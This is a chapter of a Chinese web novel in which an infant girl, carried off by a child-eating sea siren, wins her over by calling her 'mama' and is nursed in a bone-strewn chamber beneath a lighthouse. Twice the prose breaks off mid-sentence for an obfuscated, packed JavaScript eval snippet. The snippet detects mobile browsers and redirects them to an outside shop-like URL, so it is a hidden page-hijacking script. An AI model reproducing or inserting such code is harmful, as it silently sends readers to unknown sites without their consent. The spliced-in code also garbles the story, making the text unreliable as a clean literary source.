洞穴很深,洞道四壁残留着明显的利爪刨挖痕迹,看大小和深度,应该是女妖的杰作。在幽深的洞穴里一路向下,爬行了大约半分钟,埃弗莉眼前豁然开朗,出现了一处半垮塌的地下石室。 石室内壁和顶部生长着某种不知名的发光植物,色泽幽蓝,随呼吸的频率一明一暗,它是室内仅有的光源。借着这细微的光,埃弗莉看到女妖抱着自己穿过一地狼藉,来到了石室正中央。 这里是一处高出地面约半米的石头平台。平台的损坏程度不高,借着顶端植物的微光,还依稀能看到残留在平台表面的浮雕花纹。一张小小的石桌歪歪斜斜摆放在平台上,埃弗莉起初以为那张桌子是暗红色的,直到女妖难耐地“嘶嘶”低叫着,一把将她按在了冰冷坚硬的石质台面上。 浓烈的血腥味,夹杂着潮湿腐臭的气息扑面而来,埃弗莉与石桌紧贴的脸颊感到一阵黏腻的冰凉。与此同时,在她的上方,女妖已经俯下身,朝她张开了血盆大口—— 啊,是这样……原来台面上的暗红是血啊…… 这样的念头在心中一闪而过,死亡当前,埃弗莉发觉自己竟意外的冷静。 试试吧,她想,放手一搏然后死去,总好过什么也不做,羔羊一样引颈就戮…… 从思考到做下决定,只在短短刹那间。当女妖沾满涎水的锋利尖牙冲至近前,眼看下一秒就要刺入埃弗莉颈部娇嫩的皮肤,将她整个人撕得粉碎时,埃弗莉开口了。 她抬眼注视着近在咫尺的海中女妖,用发育不全、还带着颤抖的嗓音,含糊但坚定地喊出了那个熟悉又陌生的音节:“ma……ma!” 像一盘被忽然按下了暂停键的录像带,女妖扑咬的动作猛地停顿。 “啊……啊呃……”埃弗莉听到她喉间发出了古怪的咕哝。 看起来似乎有用…… 根据埃弗莉前世曾看过的科普,全世界有几千种语言,但有一个词,几乎在每一种语言中都有着相似的发音,那就是人们用以呼唤母亲的“mama”。有学者认为,这是人类婴儿从出生就会发出的“a”音,结合了吮吸母乳时口腔封闭压缩的“m”音形成的,代表了所有哺乳动物共有的、最核心的母婴间情感联结。 海中女妖显然也能听懂“mama”一词代表的含义。她微微歪头,猩红眼眸中浮现一抹迷茫。 女妖的利爪此时还按在埃弗莉身上,层叠的鲨齿随时能改变主意,咬合深嵌,拿走埃弗莉的性命。还没真正安全,埃弗莉不敢放松,见女妖面露挣扎,她赶忙趁热打铁,又接连朝女妖喊了好几声妈:“mama……mama,mamamamamama!” 越喊越熟练,越喊越大声。 而海中女妖,也像被这持续不断的呼喊唤出了潜藏的母性本能。她眼底的猩红褪去些许,凑近埃弗莉,仔细打量面前的小婴儿。丑陋的面容上,怀疑与挣扎的神色彼此交织,将青白肿胀的脸衬得越发阴森恐怖。 “%#@……”埃弗莉听到她用粗粝的嗓音飞快说了句什么。 发音很短,像某种呼唤。 埃弗莉虽然听不懂女妖所使用的语言,但她大概能猜到,对方应该是在喊自己。所以她强忍住害怕,一边继续喊“mama”,一边朝对方张开双臂,做出了求拥抱的姿势。 女妖呆住了。 “啊……呃……科、科科……” 她的喉头像卡着什么坚硬的东西一样,不断发出奇怪的“科科”声。与此同时,女妖的身体也开始不停颤抖。“啪嗒”,一滴冰凉的水液落在埃弗莉脸颊。因为室内太黑,埃弗莉起初以为那是洞穴顶部的滴水,然而,当第二、第三滴水珠接连砸落在她身上,埃弗莉终于发现不对。 那不是洞穴滴水,而是从女妖眼中滴下的眼泪。 海中女妖居然在哭! 大量的水液积蓄在女妖狰狞外突的眼球表面,又顺着她的下颌向下滚落,一滴滴砸在下方的埃弗莉身上。泪水冰凉,和女妖一样没有温度,埃弗莉却震撼地从中感受到一种比火山熔岩更灼热更炽烈的情感。 那种感情名为“母爱”。 “%#@!” 海中女妖重复了一遍先前的呼喊,这次的声音带着笃定,还有失而复得的喜悦。她松开了按压埃弗莉的手爪,转而用一个标准无比的抱孩子姿势将女婴抱到了她的臂弯,垂下头,爪子尖端轻轻拍抚怀中的婴儿,眼中满是柔情与慈爱。 长长的黑发帘幕一样,顺着女妖的肩膀垂落而下,铺盖在埃弗莉身上。先后在下水道和礁石滩打过转,卷曲的发间还夹杂着树叶、纸片和碎石等各种垃圾,混合了未干的海水,黏腻又肮脏。这道由脏发织成的帷幔,还有女妖低低的哼唱,成了埃弗莉昏睡过去前最后的记忆。 …… 埃弗莉做了个梦。 小婴儿也是会做梦的。梦中,她遇到了一头青面獠牙的怪物,怪物追着她跑了一路,她跌跌撞撞,用尽了一切办法,始终无法逃脱。最后,她被怪物追上,活生生撕咬,又在还未断气时被架到了火上烧烤。 从混乱的梦境中惊醒,埃弗莉发现不是错觉,她确实浑身滚烫,还喉咙焦渴,四肢无力,头重脚轻。 因为她发烧了。 身为早产儿,她的身体素质本来就一般,加上渣爹平时照料得不精心,能健健康康成长到现在,全亏了埃弗莉有个成年人的内芯,懂得自律和自我照顾。昏睡之前,她先是被海中女妖的出现吓到,又经历了钻下水道、过礁石滩、横穿大海等一系列过程,小身板受不住刺激,会生病一点也不意外。 但这场病来得实在太不巧了。 埃弗莉此刻正身处海中央的隐蔽石室中。这里没有食物和饮水,没有厚实保暖的衣物,也没有现代药品,只有一头无法沟通的危险女妖,和满室阴冷潮湿的空气。对一名小婴儿而言,这环境着实不适宜生存。 她在海中女妖的怀中动了动脑袋,偏头观察周围环境。 女妖看起来完全把埃弗莉当作了自己的孩子。即使在埃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16566118|186983||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 弗莉睡觉的时间里,她也没有放下过怀中的婴儿。 她抱着埃弗莉,蜷曲蛇尾,倚坐在石室的一角,喉间持续不断哼唱着柔和的摇篮曲。曲子是埃弗莉在海面上听女妖哼过的那首,旋律优美舒缓,像微风拂过林间,暖阳亲吻花瓣。石室的地面向下塌陷,地底的海水漫灌上来,在此处形成了一个漆黑的水坑。女妖就坐在水坑边,长尾末端浸泡在海水里,伴着歌曲的节拍,悠闲地来回拨动水流。 画面看上去很温馨……前提是忽略散落在四周的大片白骨。 看到那些骨头,埃弗莉不忍地闭了闭眼。即使经历过五月花公寓烂肉人的视觉冲击,骤然直面如此大量的人类遗骸,她还是感到了强烈的不适。这源于人类对死亡的本能恐惧。 这附近可能是女妖的进食场。以水坑为中心,举目望去,周遭的地面上堆积着无数白森森的人类骨骼。看头骨的尺寸,应该都是些婴幼儿,骨头有新有旧,压在下面的早已腐烂破碎,与地面融为一体,最上面一层却还保持着骨骼结构的完整。结合普卡蒂历史博物馆里看到的信息,不难猜出,这些遗骨就是数百年间在普卡蒂失踪的孩子。 女妖偷孩子是真的,吃孩子也是真的。因为这些骨头全都七零八落,上面还残留着大量啃咬的痕迹。正常死亡的人骨头绝不可能碎成这样。 埃弗莉至今没有想明白,为什么海中女妖明明自己也是名母亲,却要对别人的孩子下此狠手。是因为自己的孩子丢了,所以不愿看到别人的孩子承欢膝下吗? 思索间,一阵冷风从不知哪条石缝吹来,高烧中的埃弗莉浑身发冷,瑟缩了一下。她知道时间不等人,忙强迫自己收起杂念,瞪大双眼,借着苔藓的微光,仔细在尸骸之间寻找想要的东西。 终于,在一具看着比较“新”的尸骨旁边,她发现了目标——一件被扯烂的浅棕色呢绒外套。 在恶劣的环境放久了,外套已经有些褪色。浅棕的布料上沾有大量暗红的污渍,无声诉说着衣物主人曾遭遇的残酷对待。但除去这些,这件外套瞧着宽大又厚实,完全足够将埃弗莉整个人包裹进去,让她不再遭受寒风的吹袭。 “啊……啊啊……” 埃弗莉朝外套的方向伸手,嘶哑的嗓子里发出急急的催促声。 女妖的哼唱停止了。她将脸凑近,关切地观察了一会儿怀中的女婴,不知是物种不同存在沟通壁垒,还是因为女妖缺少育儿经验,她没能领会埃弗莉的意思。见埃弗莉“啊啊”喊个不停,女妖思考了一会儿,竟认为孩子是饿了。 “%#@……”她咕哝着,怜爱地低头,拿冰冷濡湿的脸颊蹭了蹭埃弗莉的额头,随后,女妖举起手爪,捧住一边沉甸甸的濡防,将顶端凑近了女婴的嘴巴。 埃弗莉惊恐地瞪着凑到嘴边的物体。 且不说她留有前世记忆,对饮用母乳这件事本身就存在抗拒,光就海中女妖的形态——浑身浮肿,满身伤痕,整个人如同在水中浸泡至巨人观的死尸,那处的皮肤同样青白一片,顶端渗着腥臭的黄白色脓液……这长得完全就不是能下嘴的样子啊! 12.女妖 埃弗莉闭紧嘴巴,脑袋偏开,坚决拒绝递送到嘴边的东西。 “啊……啊啊……” 女妖困惑地咕哝了一声,坚持不懈,又把那物向前推了推。埃弗莉躲闪不及,感到一团冰凉滑腻的物体压在自己脸颊上。流着脓液的顶端湿润又黏糊,抵到了她的嘴唇,带来一股淡淡的腥臭,让人联想到漂在水面的死鱼。 她有些想吐。 “#%¥……” 看埃弗莉迟迟没有动作,女妖显得有些着急。她不是人类,学不来人类母亲的温柔诱哄,小婴儿抗拒吃奶,她就伸出手爪,用漆黑锋利的尖端去抠、去掰埃弗莉的嘴唇。婴儿的皮肤娇嫩无比,动作间,埃弗莉的脸颊不小心被爪子划破,朝外渗出鲜红的血液。 看到那血痕,女妖有片刻的呆滞。她看着自己沾染血液的爪尖,像是被鲜血刺激,忽然仰起头发出一声凄厉的嘶吼,猩红双眼中飞快浮现一抹暴虐。“啪啪”的巨响传来,埃弗莉分心去看,发现女妖泡在水里的蛇尾跟抽疯了一样,正在拍打池边的岩石和墙面,粗壮的尾部每一次落下,都激起一阵地动山摇,碎石滚落。 埃弗莉感觉不妙。 抠挖她嘴唇的动作在加大,起初还只是用爪子尖端,如今已经演变成了用整根爪子去戳刺,而女妖在这过程中居然是笑着的,病态的笑容越扩越大,仿佛要裂开到耳根,露出下方尖利的鲨齿,和看不到尽头的咽喉。 当爪子尖划破嘴唇,埃弗莉吃痛,没忍住发出了一声闷哼。 这细如蚊蚋的哼声,如一记惊雷短暂唤回了女妖的理智。女妖停住了抠挖的动作,她似乎正在与脑内某个看不见的存在作斗争,眉心皱起,表情狰狞,浮肿的面容上浮现出强烈的痛苦与挣扎。 “啊!啊啊啊!” 海中女妖张口吼叫,头颅先向下垂落,再猛地抬起,将自己的后脑勺重重砸在后方岩壁上,一下、两下、三下……每一下都无比用力,直砸得碎石与黑红色□□四处飞溅,几次之后,埃弗莉甚至听到了骨骼破碎的“喀嚓”声。 颈部以上是残酷血腥的自虐景象,颈部以下,女妖的怀中,场景却回归了一片温情。抠挖血肉的手爪乖觉地收回,改为托住怀中的女婴,像往常一样,温柔地在埃弗莉的背上轻轻拍抚。 继续往下,硕大的蛇尾仍在四处乱砸。它拍碎了水岸的岩石,尖端顺着惯性,搅扫在岸边堆积的白骨山上。所过之处,脆弱的骨头纷纷碎裂,变成一地凌乱的骨片。 极度割裂的画面,透着让人心惊的诡谲。 “mama……mama!”埃弗莉真的被性情大变的女妖给吓到了。她强忍着嗓子的疼痛,用最大音量持续不断喊着“妈妈”。 婴儿稚嫩的呼唤像一束明光,穿破迷雾降落在混沌一片的精神世界。狂暴的女妖逐渐停止了动作,她低头,茫然注视着怀中的女婴,正对上小婴儿清澈无辜的碧蓝眼瞳——它是那样小小的一团,温暖、柔软又芬芳,花瓣一样的嘴一张一合,吐出一声又一声满含眷恋的“mama”。 它在喊她“mama”。 mamamamamamamama……孩子孩子孩子孩子!这是她的孩子,她的孩子她的孩子她的孩子! 时隔数千年,她的孩子终于回来了! 女妖又开始哭了。她哭起来是没有声音的,鲜红的眼珠像连通了两汪泉眼,大量的泪水混杂着无穷无尽的柔情与爱意,从泉眼喷涌而出,冷冰冰打在埃弗莉额头上,为浑身滚烫的女婴带来一丝清凉。 笼罩在海中女妖周身的残酷与暴虐被泪水洗濯一空。 柔缓又好听的哼唱声再度响起,海中女妖轻轻抚摸着埃弗莉的背,重又变回了之前那个慈爱的母亲。 埃弗莉真是怕极了女妖失控时的样子。也因此,当海中女妖满是慈爱地捧起濡防,又一次将它递到埃弗莉嘴边,想给她喂食时,埃弗莉没再拒绝。 即便心中无比抗拒,无数次想要将腥臭苦涩的乳汁吐出,埃弗莉依旧紧闭双眼,强迫自己将它们尽数咽下了。她不知道什么举动会激怒女妖,为了自己的性命着想,只能尽可能顺着对方。 女妖的乳汁和她本身一样,凉凉的,不带丝毫人类的温度。即便气味难闻,还带着古怪的黏稠口感,当它凉丝丝划过咽喉,顺着食道进入胃部,却成功抚平了埃弗莉腹中的灼烧感。 埃弗莉直到此刻才意识到,被掳走不知多久,她竟早已饥肠辘辘。 女妖体型庞大,乳汁也很富裕。埃弗莉起初只想随便喝上两口,权作对女妖情绪的安抚,可她的身体并不这样想。大约是饿得狠了,加上目前在发烧,需要大量的水分和能量,一旦开始了进食,埃弗莉竟完全无法控制自己吮吸的动作。 “咕嘟咕嘟……” 她抱着面前的柔软,贪婪地吸吮着。如果此时靠近埃弗莉,甚至能听到她咽喉蠕动时急促的吞咽声。 女妖歪着头,安静地倚靠在石壁上,静静感受着胸前的动静。喂食的体验令她异常着迷。那种被需要,被依恋,被索求的感觉,让深埋的母性本能被彻底激发。 不知不觉,猩红的眼眸浮现水光一般的柔情,托在女婴背后的手也开始有规律地温柔拍抚孩子的背。浓厚的母爱正从她身体的每一个毛孔向外渗出,同化、诱导、改造着女妖的身体,促使她将最好的一切汇集到一处,借由流动的液体,一点点传递给她的孩子。 “啊啊……哼哼哼……” 曾一度暂停的哼唱重又继续,在封闭的石室里反复回荡。 舒缓的旋律钻入埃弗莉耳中,女婴张嘴,秀气地打了个哈欠,进食的动作逐渐放缓。 肚子已经饱了。 并且,不知道是不是腹中有了食物的关系,困扰埃弗莉的高热与酸痛也减缓了许多,让她不再像先前那样难受。 张嘴又打了一个哈欠,倦意袭来,女婴吐出濡头,顺从本能朝前趴卧,双手握拳蜷在胸口,很快便闭上眼睛,沉沉睡去。 …… 埃弗莉睡了长长的一觉。 再次睁开眼的时候,烧已经退了。身体像浸泡在温泉里一样,暖洋洋的,哪怕没有裹外套,也没感觉到一丝寒冷。再试着甩动胳膊,踢蹬双腿,动作竟格外有劲,再看不到一丝先前的孱弱。 这健康到堪称健壮的状态,绝不是简单睡一觉能达到的。 当埃弗莉的目光划过女妖胸前,看到对方萎缩的一边濡防时,她的目光顿了顿。那正是她昨日——也许并非昨日,没有时钟,埃弗莉的时间感早已经混乱——吮吸过的那半边。相较另一半,它的体积缩小了一小圈。 埃弗莉由此猜测,女妖的母乳中可能蕴含了某种特殊的成分,增强了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16568356|186983||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她的体魄。这让她的观感一时间相当复杂,一方面,埃弗莉畏惧女妖,因为这是个食人的妖物,害死了无数的孩子,还随时随地可能发狂,可另一方面,当女妖仅仅只是个母亲时,她又是温柔慈和的,让埃弗莉不自觉想起前世的母亲,哪怕已经遗忘了对方的相貌,可那种对子女无条件的呵护与奉献,却是相通的。 “啊啊……啊……” 看到埃弗莉睁开眼,女妖面露喜悦。她“啊啊”叫着,将另半边濡防塞到女婴嘴边,积极地想给埃弗莉喂奶。 埃弗莉没敢立刻拒绝。她强忍不适,叼进嘴里先喝了两口。味道依旧难以描述,身体却对这种高能量饮料接受度良好,甚至还想再多喝点。不过埃弗莉的当务之急不是填饱肚子,她有更重要的事情要解决,已经快到极限了,再不赶紧…… 用顽强的意念强迫自己吐出濡头中断进食,埃弗莉在女妖怀中不安分地扭动,小手不断往自己腿间指,同时口中模仿水声,发出接连不断的“嘘”。 拟声词比想象中好用。在埃弗莉不懈的努力下,女妖理解了她的意思,她用手爪粗暴地撕开糊满马赛克早就吸收饱和的纸尿裤,随手往地上一丢,然后扭动蛇尾,把小婴儿拎到了远离黑水池的另一处小水坑上。 “嘘……嘘嘘……”她甚至无师自通,模仿埃弗莉的样子,发出了很多家长把尿时会用的拟声词。 埃弗莉:“……” 充满尴尬与羞耻,她在小水坑上完成了释放。 女妖自己不爱干净,头发脏得像鸡窝,却本能地知道为埃弗莉清理秽物。她把释放完的小婴儿抱回到惯常栖身的黑水坑边,拎着埃弗莉的胳膊,将小婴儿下半截身体浸泡进海水中,烫毛肚一样抖搂了几下。 深秋的海水冷冰冰的,冻得埃弗莉浑身一哆嗦。 在这样粗糙的育儿手法下,出水后她依旧活蹦乱跳,身体暖得像小火炉,都要仰赖女妖喂她的那口奶。 知道这是能让自己体质增强的好东西,当女妖又一次给她喂食时,埃弗莉没有再抗拒。她乖乖含住了顶端,大口吮吸,直到腹内传来鼓胀的饱腹感。 “卟卟……” 吃饱喝足,又解决了人生大事,她在女妖怀里躺了会儿,开始思考当下情况。 对于未来,埃弗莉还很迷茫。她不知道渣爹会不会想办法来救自己——她以为自己和谢利的父女情很淡薄,没想到女妖把她抓走时,渣爹竟表现得意外勇敢。不过,就算渣爹没有放弃寻找她,能不能找到灯塔下这处隐秘的石室也得打个大大的问号,更别提此处还盘踞着一头凶暴危险的海中女妖了。 总之,埃弗莉可不敢把希望压在渣爹的身上。她需要自救。 目前看来,因为把自己当成了她的孩子,海中女妖对她还是很不错的。但女妖的情绪并不稳定,比如昨天,在喂奶的时候女妖就突然暴走了,差一点弄伤埃弗莉。埃弗莉觉得,想要从这里平安逃走,自己首先得摸透女妖的脾气,了解对方的底线在哪,什么情况下会发狂。 她将目光移向了石室中央的平台。 那样平整的台面,还有表面的浮雕、中央的桌子,都不是女妖能造出来的东西。 ——有人因什么目的,在灯塔下打造了这个石室。 直觉告诉她,关于海中女妖的种种疑问,答案很可能就在那里。